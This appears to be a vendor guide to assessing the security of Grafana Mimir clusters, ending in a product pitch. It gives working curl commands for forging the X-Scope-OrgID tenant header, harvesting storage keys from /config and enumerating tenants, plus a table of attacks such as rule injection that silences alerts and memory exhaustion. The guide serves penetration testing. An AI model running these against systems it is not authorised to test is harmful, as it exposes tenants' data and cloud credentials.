Grafana Mimir is a horizontally scalable, multi-tenant distributed time series database designed to replace Prometheus in large-scale deployments. Its security concerns mirror those of Cortex and Thanos: multi-tenant isolation enforced solely by the X-Scope-OrgID HTTP header — if the Mimir distributor or query-frontend is accessed without an authentication proxy, any user can query another tenant's metrics by forging this header, the Mimir Ruler component manages per-tenant alerting rules via a REST API and a compromised tenant can inject rules that silence production alerts or trigger excessive notifications, the internal gRPC interfaces between ingester, compactor, store-gateway, and querier components typically operate without mTLS within the cluster, and object storage credentials (S3/GCS/Azure Blob) embedded in the Mimir configuration give full access to all historical metrics data. This guide covers systematic Mimir security assessment.
# Mimir components: distributor, ingester, querier, query-frontend,
# compactor, store-gateway, ruler, alertmanager
# Default HTTP port: 8080 (all components)
# Default gRPC port: 9095 (all components)
# Mimir ready check — confirms it's running
curl -s http://mimir.example.com:8080/ready 2>/dev/null | head -2
# Returns "ready"
# List configured tenants via admin API (may not require auth)
curl -s http://mimir.example.com:8080/api/v1/labels \
-H "X-Scope-OrgID: __admin__" 2>/dev/null | head -5
# Query metrics without specifying a tenant (defaults to single-tenant mode)
curl -s "http://mimir.example.com:8080/prometheus/api/v1/query?query=up" 2>/dev/null | \
python3 -m json.tool | head -10
# Check Mimir configuration endpoint (may expose storage credentials)
curl -s "http://mimir.example.com:8080/config" 2>/dev/null | \
grep -E "(access_key|secret_key|password|credentials)" | head -10# Mimir multi-tenant isolation relies entirely on X-Scope-OrgID header
# If the query-frontend is exposed without an authentication proxy, any tenant ID can be forged
# Query as tenant "team-a" (legitimate tenant)
curl -s "http://mimir.example.com:8080/prometheus/api/v1/query?query=up" \
-H "X-Scope-OrgID: team-a" 2>/dev/null | python3 -m json.tool | head -10
# Try querying as tenant "team-b" (different tenant — should be isolated)
curl -s "http://mimir.example.com:8080/prometheus/api/v1/query?query=up" \
-H "X-Scope-OrgID: team-b" 2>/dev/null | python3 -m json.tool | head -10
# If metrics appear for team-b, tenant isolation is bypassed at the API layer
# Enumerate existing tenant IDs (if admin API accessible)
for tenant in admin team-a team-b platform infra prod staging dev; do
result=$(curl -s -o /dev/null -w "%{http_code}" \
"http://mimir.example.com:8080/prometheus/api/v1/query?query=up" \
-H "X-Scope-OrgID: $tenant" 2>/dev/null)
echo "$tenant: HTTP $result"
doneX-Scope-OrgID based on the authenticated user — never allow clients to set this header directly| Security Test | Method | Risk |
|---|---|---|
| Tenant isolation bypass via forged X-Scope-OrgID | Query /prometheus/api/v1/query with other tenant's OrgID — metrics return | Critical |
| Ruler API alert rule injection | PUT /prometheus/config/v1/rules/{namespace} — inject false/suppressive alert rules | High |
| Object storage credentials in config | curl /config — check for S3/GCS access keys in rendered config output | High |
| Unauthenticated gRPC ingester access | grpc_cli call ingester:9095 without credentials — push arbitrary metrics | High |
| Cardinality exhaustion via high-cardinality push | Push metrics with unique label per request — exhausts ingester memory | Medium |
| Admin API exposed without authentication | curl /api/v1/admin/tsdb — returns per-tenant storage stats without auth | Medium |
Ironimo tests Grafana Mimir deployments for multi-tenant isolation bypass via forged X-Scope-OrgID headers, Ruler API alert rule injection silencing production alerts, unauthenticated gRPC APIs for internal components, object storage credential exposure in configuration endpoints, cardinality exhaustion attacks overwhelming the ingester, and admin API access without authentication revealing per-tenant storage metadata.
Start free scan